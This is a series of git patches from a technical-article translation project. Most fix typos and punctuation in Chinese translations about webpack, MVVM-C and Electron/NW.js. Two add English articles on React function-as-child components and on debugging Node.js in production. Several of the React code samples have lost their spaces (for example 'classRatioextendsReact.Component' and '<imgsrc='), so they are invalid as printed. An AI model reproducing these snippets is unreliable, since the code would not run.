Date: Wed, 12 Apr 2017 12:57:44 +0800
Subject: [PATCH 124/638] =?UTF-8?q?=E4=BA=8C=E6=A0=A1=E6=84=8F=E8=A7=81?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit


From 6cc14ad5fa43bbcfee01296502a37a1ec1fe999b Mon Sep 17 00:00:00 2001
From: reid <geniusreid@163.com>
Date: Wed, 12 Apr 2017 15:23:34 +0800
Subject: [PATCH 125/638] fix a typo

---
 ...bpack-bits-getting-the-most-out-of-the-commonschunkplugin.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md b/TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md
index 20692bd6b00..228984136a1 100644
--- a/TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md
+++ b/TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md
@@ -10,7 +10,7 @@ webpack 核心团队隔三差五地就会在 Twitter 上作一些寓教于乐的
 
 ![Markdown](http://i4.buimg.com/1949/614a949156a09f9e.png)
 
-这次的“游戏规则”很简单：安装 `webpacl-bundle-analyzer`，生成一张包含所有 bundles 信息的酷炫图片分享给我，然后 webpack 团队会帮忙指出任何潜在的问题。
+这次的“游戏规则”很简单：安装 `webpack-bundle-analyzer`，生成一张包含所有 bundles 信息的酷炫图片分享给我，然后 webpack 团队会帮忙指出任何潜在的问题。
 
 ### 我们发现了什么？ ###
 

From ed2b2bf92d3d20a03c69f824b063742d52ea65c8 Mon Sep 17 00:00:00 2001
From: DeepMissea <398752853@qq.com>
Date: Wed, 12 Apr 2017 19:15:35 +0800
Subject: [PATCH 126/638] =?UTF-8?q?=E6=96=9C=20=E2=99=82=20=E4=BD=93?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/mvvmc-with-swift.md | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/TODO/mvvmc-with-swift.md b/TODO/mvvmc-with-swift.md
index eb77db7fd87..a4119cbe373 100644
--- a/TODO/mvvmc-with-swift.md
+++ b/TODO/mvvmc-with-swift.md
@@ -454,15 +454,15 @@ MVVM-C 有很多优点，可以提高应用程序的质量。你应该注意使
 
 # FAQ
 
-***MVVM-C 有什么限制吗？***
+**MVVM-C 有什么限制吗？**
 
 是的，当然有。如果你正做一个复杂的项目，你可能会遇到一些边缘案例，MVVM-C 可能无法使用，或者在一些小功能上使用过度。如果你开始使用 MVVM-C，并不意味着你必须在每个地方都强制的使用它，你应该始终选择更适合你需求的架构。
 
-***我能用 RxSwift 同时使用函数式和命令式编程吗？***
+**我能用 RxSwift 同时使用函数式和命令式编程吗？**
 
 是的，你可以。但是我建议你在遗留的代码中保持命令式的方式，而在新的实现里使用函数式编程，这样你可以利用 RxSwift 强大的优势。如果你使用 RxSwift 仅仅为了 UI 绑定，你可以轻松使用命令式编写程序，而只用函数响应式编程来设置绑定。
 
-***我可以在企业项目中使用 RxSwift 吗？***
+**我可以在企业项目中使用 RxSwift 吗？**
 
 这取决于你要开新项目，还是要维护旧代码。在有遗留代码的项目中，你可能无法使用 RxSwift，因为你需要重构很多的类。如果你有时间和资源来做，我建议你新开一项目一点一点的做，否则还是尝试其他的方法来解决 UI 绑定的问题。
 

From 38d15c20727c6208b97ab4ac9b5ae6b2c3447667 Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Wed, 12 Apr 2017 22:24:57 +0800
Subject: [PATCH 127/638] fix Punctuation

---
 TODO/beyond-browser-web-desktop-apps.md | 22 +++++++++++-----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/TODO/beyond-browser-web-desktop-apps.md b/TODO/beyond-browser-web-desktop-apps.md
index 1899ee8f1d9..f40c59cd68e 100644
--- a/TODO/beyond-browser-web-desktop-apps.md
+++ b/TODO/beyond-browser-web-desktop-apps.md
@@ -16,7 +16,7 @@
 
 ### 为什么？
 
-首先，为什么会有人开发桌面应用？任何现有的 web 应用（不同于网站，如果你认为它们是不同的）都可能适合变成一个桌面应用。你可以围绕任何可以从与用户系统集成中获益的 web 应用构建桌面应用；例如本地通知，开机启动，与文件的交互等。有些用户单纯更喜欢在自己的电脑中永久保存一些 app，无论是否联网都可以访问。
+首先，为什么会有人开发桌面应用？任何现有的 web 应用（不同于网站，如果你认为它们是不同的）都可能适合变成一个桌面应用。你可以围绕任何可以从与用户系统集成中获益的 web 应用构建桌面应用；例如本地通知、开机启动、与文件的交互等。有些用户单纯更喜欢在自己的电脑中永久保存一些 app，无论是否联网都可以访问。
 
 也许你有个想法，但只能用作桌面应用，有些事情只是在 web 应用中不可能实现（至少还有一点，但更多的是这一点）。你可能想要为公司内部创建一个独立的功能性应用程序，而不需要任何人安装除了你的 app 之外的任何内容（因为内置 Node.js ）。也许你有个有关 Mac 应用商店的想法，也许只是你的一个个人兴趣的小项目。
 
@@ -26,23 +26,23 @@
 
 ### NW.js
 
-桌面应用已经有很长一段时间了，我知道你没有很多时间，所以我们跳过一些历史，从2011年的上海开始。来自 Intel 开源技术中心的 Roger Wang 开发了 node-webkit，一个概念验证的 Node.js 模块，这个模块可以让用户创建一个 WebKit 内核的浏览器窗口并直接在 `<script>` 中调用 Node.js 模块。
+桌面应用已经有很长一段时间了，我知道你没有很多时间，所以我们跳过一些历史，从 2011 年的上海开始。来自 Intel 开源技术中心的 Roger Wang 开发了 node-webkit，一个概念验证的 Node.js 模块，这个模块可以让用户创建一个 WebKit 内核的浏览器窗口并直接在 `<script>` 中调用 Node.js 模块。
 
 经过一段时间的开发以及将内核从 WebKit 转换到 Chromium（Google Chrome 基于这个开源项目开发），一个叫 Cheng Zhao 的实习生加入了这个项目。不久就有人意识到一个基于 Node.js 和 Chromium 运行的应用是一个很好的建造桌面应用的框架。于是这个项目变得颇受欢迎。
 
-*注意*：node-webkit 后来更名为 NW.js，是因为项目不再使用 Node.js 以及 WebKit，所以需要改一个更通用的名字。Node.js 的替换选择是 io.js （Node.js fork 版本），Chromium 也已经从 WebKit 转为它自己的版本，Blink。
+*注意*：node-webkit 后来更名为 NW.js，是因为项目不再使用 Node.js 以及 WebKit，所以需要改一个更通用的名字。Node.js 的替换选择是 io.js （Node.js fork 版本），Chromium 也已经从 WebKit 转为它自己的版本 —— Blink。
 
-所以，如果现在去下载一个 NW.js 应用，实际上是下载了 Chromium，Node.js，以及真正的 app 的代码。这不仅意味着桌面应用也可以使用 HTML，CSS，JavaScript 来写，也意味着 app 可以直接使用所有 Node.js 的 API（比如读取或写入硬盘），而对于终端用户，没有比这更好的选择了。这看起来非常强大，但是它是怎么实现的呢？我们先来了解一下 Chromium。
+所以，如果现在去下载一个 NW.js 应用，实际上是下载了 Chromium、Node.js，以及真正的 app 的代码。这不仅意味着桌面应用也可以使用 HTML、CSS、JavaScript 来写，也意味着 app 可以直接使用所有 Node.js 的 API（比如读取或写入硬盘），而对于终端用户，没有比这更好的选择了。这看起来非常强大，但是它是怎么实现的呢？我们先来了解一下 Chromium。
 
 ![Chromium diagram](https://www.smashingmagazine.com/wp-content/uploads/2017/01/chromiumDiagram-preview-opt.png)
 
-Chromium 有一个主要的后台进程，每个标签页也会有自己的进程。你可能注意到 Google Chrome 在 Windows 的任务管理器或者 macOS 的活动监视器上总是至少存在两个进程。我并没有尝试在这里安排穿插主后台进程相关的内容，但是它包括了 Blink 渲染引擎，V8 JavaScript 引擎（也构建了 Node.js ）以及一些从原生 API 抽象出来的平台 API。每个独立的标签页或渲染的过程都可以使用 JavaScript 引擎，CSS 解析器等，但为了提高容错性，它们又和主进程是完全隔离的。渲染进程与主进程之间是用进程间通信（IPC）来进行通讯。
+Chromium 有一个主要的后台进程，每个标签页也会有自己的进程。你可能注意到 Google Chrome 在 Windows 的任务管理器或者 macOS 的活动监视器上总是至少存在两个进程。我并没有尝试在这里安排穿插主后台进程相关的内容，但是它包括了 Blink 渲染引擎、V8 JavaScript 引擎（也构建了 Node.js ）以及一些从原生 API 抽象出来的平台 API。每个独立的标签页或渲染的过程都可以使用 JavaScript 引擎、CSS 解析器等，但为了提高容错性，它们又和主进程是完全隔离的。渲染进程与主进程之间是用进程间通信（IPC）来进行通讯。
 
 ![NW.js diagram](https://www.smashingmagazine.com/wp-content/uploads/2017/01/nwjsDiagram-preview-opt.png)
 
 
 
-大致上这就是一个 NW.js app 的结构，它和 Chromium 基本一致，除了每个窗口也可以访问 Node.js。现在，你可以访问 DOM，可以访问其他脚本，npm 安装的模块，或者 NW.js 提供的内置的模块。你的 app 默认只有一个窗口，但从这一个窗口，可以生成其他窗口。
+大致上这就是一个 NW.js app 的结构，它和 Chromium 基本一致，除了每个窗口也可以访问 Node.js。现在，你可以访问 DOM，可以访问其他脚本、npm 安装的模块，或者 NW.js 提供的内置的模块。你的 app 默认只有一个窗口，但从这一个窗口，可以生成其他窗口。
 
 创建一个应用很简单，只需要一个 HTML 文件和一个 `package.json` 文件，就像你平时使用 Node.js 时那样。你可以使用 `npm init --yes` 新建一个默认的。一般来说，`package.json` 会指定一个 JavaScript 文件作为模块的入口（也就是使用 `main` 属性），但是如果是 NW.js，你需要去编辑一下 `main` 指向你的 HTML 文件。
 
@@ -85,11 +85,11 @@ Chromium 有一个主要的后台进程，每个标签页也会有自己的进
 
 ![Screenshot of clippy.desktop on macOS](https://www.smashingmagazine.com/wp-content/uploads/2017/01/clippy-preview-opt.png)
 
-现在你可以写 HTML，CSS 和 JavaScript 了，你可以使用 Node.js 读写硬盘，执行系统命令，生成其他可执行文件等等。设想一下，你甚至可以通过 WebRTC 造一个多玩家的轮盘赌游戏，随机删除其他人的文件。
+现在你可以写 HTML，CSS 和 JavaScript 了，你可以使用 Node.js 读写硬盘、执行系统命令、生成其他可执行文件等等。设想一下，你甚至可以通过 WebRTC 造一个多玩家的轮盘赌游戏，随机删除其他人的文件。
 
 ![Bar graph showing the number of modules per major package manager](https://www.smashingmagazine.com/wp-content/uploads/2017/01/moduleCounts-preview-opt.png)
 
-你不仅可以使用 Node.js 的 API，还有所有 npm 的包，现在已经有超过35万个了。例如，[auto-launch](https://github.com/Teamwork/node-auto-launch) 是我们在 [Teamwork.com](https://www.teamwork.com/) 做的开源包，用来开机启动 NW.js 或者 Electron 应用。
+你不仅可以使用 Node.js 的 API，还有所有 npm 的包，现在已经有超过 35 万个了。例如，[auto-launch](https://github.com/Teamwork/node-auto-launch) 是我们在 [Teamwork.com](https://www.teamwork.com/) 做的开源包，用来开机启动 NW.js 或者 Electron 应用。
 
 如果你需要做一些偏底层的事，Node.js 也有原生的模块，能让你使用 C 或者 C++ 创建模块。
 
@@ -223,13 +223,13 @@ Electron 甚至支持 ARM 版本，所以你的 app 可以在 Chromebook 或者
 
 关于代码签名的令人讨厌的事情是，你必须单独为某个平台签名你的应用程序，比如在 Mac 上签名 Mac 应用，在 Windows 签名 Windows 应用。因此，如果你很在乎发行桌面应用的话，就必须为每个发行版本分别构建适用于不同平台的应用（以及分别签名）。
 
-这可能会感到不够自动化很繁琐，特别是如果你习惯于在 web 上创建。幸运的是，electron-builder 被创造出来完成这些自动化工作。我说的是持续集成工具例如 [Jenkins](https://jenkins.io/)，[CodeShip](http://codeship.com/)，[Travis-CI](https://travis-ci.org/)，[AppVeyor](https://www.appveyor.com/)（Windows 集成）等。这些工具可以让你按一个按钮或者每次更新代码到 GitHub 时重新构建你的桌面应用。
+这可能会感到不够自动化很繁琐，特别是如果你习惯于在 web 上创建。幸运的是，electron-builder 被创造出来完成这些自动化工作。我说的是持续集成工具例如 [Jenkins](https://jenkins.io/)、[CodeShip](http://codeship.com/)、[Travis-CI](https://travis-ci.org/)、[AppVeyor](https://www.appveyor.com/)（Windows 集成）等。这些工具可以让你按一个按钮或者每次更新代码到 GitHub 时重新构建你的桌面应用。
 
 ### 自动更新
 
 NW.js 没有支持自动更新，但是由于我们可以随意使用 Node.js，我们可以做任何事情。开源模块可以帮你实现，比如 [node-webkit-updater](https://github.com/edjafarov/node-webkit-updater) 可以下载并替换为更新版本的 app。当然你也可以自己造轮子。
 
-通过 [autoUpdater](http://electron.atom.io/docs/api/auto-updater/) API，Electron 自带支持自动更新。但是它不支持 Linux 系统，所以我们建议发布你的 app 到 Linux 包管理器。不必担心, 这在 Linux 上很常见。`autoUpdater` API 使用非常简单，给定一个 URL 就可以调用 `checkForUpdates` 方法。因为它是事件驱动，所以你可以订阅 `update-downloaded` 事件，一旦该事件触发，就调用 `restartAndInstall` 方法来下载新版本 app 并且重启。你可以监听一些其他的事件，将自动更新和用户界面很好的捆绑起来。
+通过 [autoUpdater](http://electron.atom.io/docs/api/auto-updater/) API，Electron 自带支持自动更新。但是它不支持 Linux 系统，所以我们建议发布你的 app 到 Linux 包管理器。不必担心，这在 Linux 上很常见。`autoUpdater` API 使用非常简单，给定一个 URL 就可以调用 `checkForUpdates` 方法。因为它是事件驱动，所以你可以订阅 `update-downloaded` 事件，一旦该事件触发，就调用 `restartAndInstall` 方法来下载新版本 app 并且重启。你可以监听一些其他的事件，将自动更新和用户界面很好的捆绑起来。
 
 *注意*：你可以使用多个更新渠道，比如 Google Chrome 和 Google Chrome Canary。
 
@@ -284,7 +284,7 @@ else {
 
 构建一个可靠稳固的桌面 app 需要生产大量的文件。你需要为一个自动更新的系统生成可执行文件和安装包。然后对应的每一个更新，都需要再次构建可执行文件和更多的安装包（因为如果有人去你的网站下载，他们应当下载到最新版本）以及针对增量更新（delta update）的更新补丁。
 
-文件大小仍然是一个需要考虑的问题。一个“Hello, World!”的 Electron app 压缩包是 40 MB。在构建 web app 的时候，除了遵循一些常见规则外（比如写更少的代码，压缩文件，使用更少的依赖等等），我可以提供的意见不多。“Hello World” app 本质上就是一个包含了 HTML 文件的 app；占 app 体积的绝大多数文件是来自 Chromium 和 Node.js。至少在 Windows 平台上增量更新可以有效减少下载文件的大小。但是我希望用户不要在 2G 网络上去下载文件。
+文件大小仍然是一个需要考虑的问题。一个“Hello, World!”的 Electron app 压缩包是 40 MB。在构建 web app 的时候，除了遵循一些常见规则外（比如写更少的代码、压缩文件、使用更少的依赖等等），我可以提供的意见不多。“Hello World” app 本质上就是一个包含了 HTML 文件的 app；占 app 体积的绝大多数文件是来自 Chromium 和 Node.js。至少在 Windows 平台上增量更新可以有效减少下载文件的大小。但是我希望用户不要在 2G 网络上去下载文件。
 
 #### 预判意外状况
 

From a801560e78432a7007885b900a4e42415b2d8467 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 12 Apr 2017 22:37:55 +0800
Subject: [PATCH 128/638] Create function-as-child-components.md

---
 TODO/function-as-child-components.md | 290 +++++++++++++++++++++++++++
 1 file changed, 290 insertions(+)
 create mode 100644 TODO/function-as-child-components.md

diff --git a/TODO/function-as-child-components.md b/TODO/function-as-child-components.md
new file mode 100644
index 00000000000..761cef8ecbd
--- /dev/null
+++ b/TODO/function-as-child-components.md
@@ -0,0 +1,290 @@
+> * 原文地址：[Function as Child Components](http://merrickchristensen.com/articles/function-as-child-components.html)
+> * 原文作者：[Merrick](http://merrickchristensen.com/about.html)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Function as Child Components #
+
+I recently polled on Twitter regarding Higher Order Components and Function as Child, the results were surprising to me.
+
+If you don’t know what the “Function as Child” pattern is, this article is my attempt to:
+
+1. Teach you what it is.
+2. Convince you of why it is useful.
+3. Get some fetching hearts, or retweets or likes or newsletters or something, I don’t know. I just want to feel appreciated, you know?
+
+## What are Function as Child Components? ##
+
+“Function as Child Component”s are components that receive a function as their child. The pattern is simply implemented and enforced thanks to React’s property types.
+
+```
+classMyComponentextendsReact.Component{   
+  render() {  
+    return (  
+        <div>
+          {this.props.children('Scuba Steve')}
+        </div>
+    );  
+  }  
+}
+
+MyComponent.propTypes = {  
+  children: React.PropTypes.func.isRequired,  
+};
+
+```
+
+That is it! By using a Function as Child Component we decouple our parent component and our child component letting the composer decide what & how to apply parameters to the child component. For example:
+
+```
+<MyComponent>
+  {(name) => (
+    <div>{name}</div>
+  )}
+</MyComponent>
+
+```
+
+And somebody else, using the same component could decide to apply the name differently, perhaps to an attribute:
+
+```
+<MyComponent>
+  {(name) => (
+    <imgsrc=’/scuba-steves-picture.jpg’alt={name} />
+  )}
+</MyComponent>
+```
+
+What is really neat here is that MyComponent, the Function as Child Component can manager state on behalf of components it is composed with, without making demands on how that state is leveraged by its children. Lets move on to a more realistic example.
+
+### The Ratio Component ###
+
+The Ratio Component will use the current device width, listen for resize events and call into its children with a width, height and some information about whether or not it has computed the size yet.
+
+First we start out with a Function as Child Component snippet, this is common across all Function as Child Component’s and it just lets consumers know we are expecting a function as our child, not React nodes.
+
+```
+classRatioextendsReact.Component{  
+  render() {  
+    return (  
+        {this.props.children()}  
+    );  
+  }  
+}
+
+Ratio.propTypes = {  
+ children: React.PropTypes.func.isRequired,  
+};
+
+```
+
+Next lets design our API, we want a ratio provided in terms of X and Y axis which we will then use the current width to compute, lets set up some internal state to manage the width and height, whether or not we have even calculated that yet, along with some propTypes and defaultProps to be good citizens for people using our component.
+
+```
+classRatioextendsReact.Component{  
+
+  constructor() {  
+    super(...arguments);  
+    this.state = {  
+      hasComputed: false,  
+      width: 0,  
+      height: 0,   
+    };  
+  }
+
+  render() {  
+    return (  
+      {this.props.children()}  
+    );  
+  }  
+}
+
+Ratio.propTypes = {  
+  x: React.PropTypes.number.isRequired,  
+  y: React.PropTypes.number.isRequired,  
+  children: React.PropTypes.func.isRequired,  
+};
+
+Ratio.defaultProps = {  
+  x: 3,  
+  y: 4  
+};
+
+```
+
+Alright so we aren’t doing anything interesting yet, lets add some event listeners and actually calculate the width (accommodating as well for when our ratio changes):
+
+```
+classRatioextendsReact.Component{
+
+  constructor() {
+    super(...arguments);
+    this.handleResize = this.handleResize.bind(this);
+    this.state = {
+      hasComputed: false,
+      width: 0,
+      height: 0, 
+    };
+  }
+
+  getComputedDimensions({x, y}) {
+    const {width} = this.container.getBoundingClientRect();
+return {
+      width,
+      height: width * (y / x), 
+    };
+  }
+
+  componentWillReceiveProps(next) {
+    this.setState(this.getComputedDimensions(next));
+  }
+
+  componentDidMount() {
+    this.setState({
+      ...this.getComputedDimensions(this.props),
+      hasComputed: true,
+    });
+    window.addEventListener('resize', this.handleResize, false);
+  }
+
+  componentWillUnmount() {
+    window.removeEventListener('resize', this.handleResize, false);
+  }
+
+  handleResize() {
+    this.setState({
+      hasComputed: false,
+    }, () => {
+      this.setState({
+        hasComputed: true,
+        ...this.getComputedDimensions(this.props),
+      });
+    });
+  }
+
+  render() {
+    return (
+      <divref={(ref) => this.container = ref}>
+        {this.props.children(this.state.width, this.state.height, this.state.hasComputed)}
+      </div>
+    );
+  }
+}
+
+Ratio.propTypes = {
+  x: React.PropTypes.number.isRequired,
+  y: React.PropTypes.number.isRequired,
+  children: React.PropTypes.func.isRequired,
+};
+
+Ratio.defaultProps = {
+  x: 3,
+  y: 4
+};
+
+```
+
+Alright, so I did a lot there. We added some event listeners to listen for resize events as well as actually computing the width and height using the provided ratio. Neat, so we’ve got a width and height in our internal state, how can we share it with other components?
+
+This is one of those things that is hard to understand because it is so simple that when you see it you think, “That can’t be all there is to it.” but this ***is***all there is to it.
+
+#### Children is literally just a JavaScript function. ####
+
+That means in order to pass the calculated width and height down we just provide them as parameters:
+
+```
+render() {
+    return (
+      <divref='container'>
+        {this.props.children(this.state.width, this.state.height, this.state.hasComputed)}
+      </div>
+    );
+}
+
+```
+
+Now anyone can use the ratio component to provide a full width and properly computed height in whatever way they would like! For example, someone could use the Ratio component for setting the ratio on an img:
+
+```
+<Ratio>
+  {(width, height, hasComputed) => (
+    hasComputed 
+      ? <imgsrc='/scuba-steve-image.png'width={width}height={height} /> 
+      : null
+  )}
+</Ratio>
+```
+
+Meanwhile, in another file, someone has decided to use it for setting CSS properties.
+
+```
+<Ratio>
+  {(width, height, hasComputed) => (
+    <div style={{width, height}}>Hello world!</div>
+  )}
+</Ratio>
+
+```
+
+And in another app, someone is using to conditionally render different children based on computed height:
+
+```
+<Ratio>
+  {(width, height, hasComputed) => (
+    hasComputed && height > TOO_TALL
+      ? <TallThing />
+      : <NotSoTallThing />
+  )}
+</Ratio>
+```
+
+### Strengths ###
+
+1. The developer composing the components owns how these properties are passed around and used.
+2. The author of the Function as Child Component doesn’t enforce how its values are leveraged allowing for very flexible use.
+3. Consumers don’t need to create another component to decide how to apply properties passed in from a “Higher Order Component”. Higher Order Components typically enforce property names on the components they are composed with. To work around this many providers of “Higher Order Components” provide a selector function which allows consumers to choose your property names (think redux-connects select function). This isn’t a problem with Function as Child Components.
+4. Doesn’t pollute “props” namespace, this allows you to use a “Ratio” component and a “Pinch to Zoom” component together regardless that they are both calculating width. Higher Order Components carry an implicit contract they impose on the components they are composed with, unfortunately this can mean colliding prop names being unable to compose Higher Order Components with other ones.
+5. Higher Order Components create a layer of indirection in your development tools and components themselves, for example setting constants on a Higher Order Component will be unaccessible once wrapped in a Higher Order Component. For example:
+
+```
+MyComponent.SomeContant = 'SCUBA';
+
+```
+
+Then wrapped by a Higher Order Component,
+
+```
+exportdefault connect(...., MyComponent);
+
+```
+
+RIP your constant. It is no longer accessible without the Higher Order Component providing a function to access the underlying component class. Sad.
+
+#### Summary ####
+
+Most the time when you think “I need a Higher Order Component for this shared functionality!” I hope I have convinced you that a Function as Child Component is a better alternative for abstracting your UI concerns, in my experience it nearly always is, with the exception that your child component is truly coupled to the Higher Order Component it is composed with.
+
+#### An Unfortunate Truth About Higher Order Components ####
+
+As an ancillary point, I believe that Higher Order Components are improperly named though it is probably to late to try and change their name. A higher order function is a function that does at least one of the following:
+
+1. Takes n functions as arguments.
+2. Returns a function as a result.
+
+Indeed Higher Order Components do something similar to this, namely take a Component as and argument and return a Component but I think it is easier to think of a Higher Order Component as a factory function, it is a function that dynamically creates a component to allow for runtime composition of your components. However, they are **unaware** of your React state and props at composition time!
+
+Function as Child Components allow for similar composition of your components with the benefit of having access to state, props and context when making composition decisions. Since Function as Child Components:
+
+1. Take a function as an argument.
+2. Render the result of said function.
+
+I can’t help but feel they should have gotten the title “Higher Order Components” since it is a lot like higher order functions only using the component composition technique instead of functional composition. Oh well, for now we will keep calling them “Function as Child Components” which is just wordy and gross sounding.
+
+### Examples ###
+
+1. [Pinch to Zoom - Function as Child Component](https://gist.github.com/iammerrick/c4bbac856222d65d3a11dad1c42bdcca)
+2. [react-motion](https://github.com/chenglou/react-motion) This project introduced me to this concept after being a long time Higher Order Component convert.
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 51b5524fbef147eada6c700c67cb6fdb5a5d8086 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 12 Apr 2017 22:51:44 +0800
Subject: [PATCH 129/638] Create
 node-js-war-stories-solving-issues-in-production.md

---
 ...ar-stories-solving-issues-in-production.md | 174 ++++++++++++++++++
 1 file changed, 174 insertions(+)
 create mode 100644 TODO/node-js-war-stories-solving-issues-in-production.md

diff --git a/TODO/node-js-war-stories-solving-issues-in-production.md b/TODO/node-js-war-stories-solving-issues-in-production.md
new file mode 100644
index 00000000000..aefb8885cbd
--- /dev/null
+++ b/TODO/node-js-war-stories-solving-issues-in-production.md
@@ -0,0 +1,174 @@
+> * 原文地址：[Node.js War Stories: Debugging Issues in Production](https://blog.risingstack.com/node-js-war-stories-solving-issues-in-production-2/)
+> * 原文作者：[Gergely Nemeth](https://blog.risingstack.com/author/gergely/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Node.js War Stories: Debugging Issues in Production #
+
+In this article, you can **read stories from Netflix, RisingStack & nearForm about Node.js issues in production** - so you can learn from our mistakes and avoid repeating them. You'll also learn what methods we used to debug these Node.js issues.
+
+*Special shoutout to Yunong Xiao of Netflix, Matteo Collina of nearForm & Shubhra Kar from Strongloop for helping us with their insights for this post!*
+
+
+At RisingStack, we have accumulated a tremendous experience of running Node apps in production in the past 4 years - thanks to our [Node.js consulting, training and development](https://risingstack.com/) business.
+
+As well as the Node teams at Netflix & nearForm we picked up the habit of always writing thorough postmortems, so the whole team (and now the whole world) could learn from the mistakes we made. 
+
+## Netflix & Debugging Node: Know your Dependencies ##
+
+**Let's start with a slowdown story from Yunong Xiao, which happened with our friends at Netflix.**
+
+The trouble started with the Netflix team noticing that their applications response time increased progressively - some of their endpoints' latency increased with 10ms every hour. 
+
+This was also reflected in the growing CPU usage.
+
+![Netflix debugging Nodejs in production with the Request latency graph](https://blog-assets.risingstack.com/2017/04/Netflix-debugging-Nodejs-in-production---Request-latency-graph.png)
+
+*Request latencies for each region over time - photo credit: Netflix*
+
+At first, they started to investigate whether the request handler is responsible for slowing things down. 
+
+**After testing it in isolation, it turned out that the request handler had a constant response time around 1ms.**
+
+So the problem was not that, and they started to suspect that probably it's deeper in the stack.
+
+The next thing Yunong & the Netflix team tried are [CPU flame graphs](http://www.brendangregg.com/FlameGraphs/cpuflamegraphs.html) and Linux [Perf Events](https://perf.wiki.kernel.org/index.php/Main_Page).
+
+![Flame graph of Netflix Nodejs slowdown](https://blog-assets.risingstack.com/2017/04/Flame-graph-of-Netflix-Nodejs-slowdown.png)
+
+*Flame graph or the Netflix slowdown - photo credit: Netflix*
+
+**What you can see in the flame graph above is that**
+
+- it has high stacks *(which means lot of function calls)*
+- and the boxes are wide *(meaning we are spending quite some time in those functions)*.
+
+After further inspection, the team found that Express's `router.handle` and `router.handle.next` has lots of references.
+
+> The Express.js source code reveals a couple of interesting tidbits:
+> 
+> - Route handlers for all endpoints are stored in one global array.
+> - Express.js recursively iterates through and invokes all handlers until it finds the right route handler.
+
+**Before revealing the solution of this mystery, we have to get one more detail:**
+
+Netflix's codebase contained a periodical code that ran every 6 minutes and grabbed new route configs from an external resource and updated the application's route handlers to reflect the changes. 
+
+This was done by deleting old handlers and adding new ones. Accidentally, it also added the same static handler all over again - even before the API route handlers. **As it turned out, this caused the extra 10ms response time hourly.**
+
+### Takeaways from Netflix's Issue ###
+
+- **Always know your dependencies** - first, you have to fully understand them before going into production with them.
+- **Observability is key** - flame graphs helped the Netflix engineering team to get to the bottom of the issue.
+
+> Read the full story here: [Node.js in Flames](http://techblog.netflix.com/2014/11/nodejs-in-flames.html).
+
+#### Expert help when you need it the most ####
+
+##### Commercial Node.js Support by RisingStack #####
+[Learn more ](https://risingstack.com/nodejs-support?utm_source=rsblog&amp;utm_medium=roadblock-new&amp;utm_campaign=trace&amp;utm_content=/node-js-war-stories-solving-issues-in-production-2/) 
+
+## RisingStack CTO: "Crypto takes time" ##
+
+You may have already heard to story of how we [broke down the monolithic](https://www.youtube.com/watch?v=k9QZ4oIOHnk) infrastructure of [Trace *(our Node.js monitoring solution)*](https://trace.risingstack.com) into microservices from our CTO, Peter Marton.
+
+**The issue we'll talk about now is a slowdown which affected Trace in production:**
+
+As the very first versions of Trace ran on a PaaS, it used the public cloud to communicate with other services of ours. 
+
+To ensure the integrity of our requests, we decided to sign all of them. To do so, we went with Joyent's [HTTP signing library](https://github.com/joyent/node-http-signature). What's really great about it, is that the [request](https://www.npmjs.com/package/request) module supports HTTP signature out of the box.
+
+**This solution was not only expensive, but it also had a bad impact on our response times.**
+
+![network delay in nodejs request visualized by trace](https://blog-assets.risingstack.com/2017/04/network-delay-in-nodejs-request-visualized-by-trace.png)
+
+*The network delay built up our response times - photo: Trace*
+
+As you can see on the graph above, the given endpoint had a response time of 180ms, however from that amount, **100ms was just the network delay between the two services alone**.
+
+As the first step, we [migrated from the PaaS provider to use Kubernetes](/moving-node-js-from-paas-to-kubernetes-tutorial/). We expected that our response times would be a lot better, as we can leverage internal networking. 
+
+> We were right - our latency improved.
+
+However, we expected better results - and a lot bigger drop in our CPU usage. The next step was to do CPU profiling, just like the guys at Netflix:
+
+![crypto sign function taking up cpu time](https://blog-assets.risingstack.com/2017/04/crypto-sign-function-taking-up-cpu-time.png)
+
+As you can see on the screenshot, the `crypto.sign` function takes up most of the CPU time, by consuming 10ms on each request. To solve this, you have two options:
+
+- if you are running in a trusted environment, you can drop request signing,
+- if you are in an untrusted environment, you can scale up your machines to have stronger CPUs.
+
+### Takeaways from Peter Marton ###
+
+- **Latency in-between your services has a huge impact on user experience** - whenever you can, leverage internal networking.
+- **Crypto can take a LOT of time**.
+
+## nearForm: Don't block the Node.js Event Loop ##
+
+**React is more popular than ever.** Developers use it for both the frontend and the backend, or they even take a step further and use it to build isomorphic JavaScript applications.
+
+> However, rendering React pages can put some heavy load on the CPU, as rendering complex React components is CPU bound. 
+
+When your Node.js process is rendering, it blocks the event loop because of its synchronous nature.
+
+As a result, **the server can become entirely unresponsive** - requests accumulate, which all puts load on the CPU. 
+
+What can be even worse is that even those requests will be served which no longer have a client - still putting load on the Node.js application, as [Matteo Collina](https://github.com/mcollina) of nearForm explains.
+
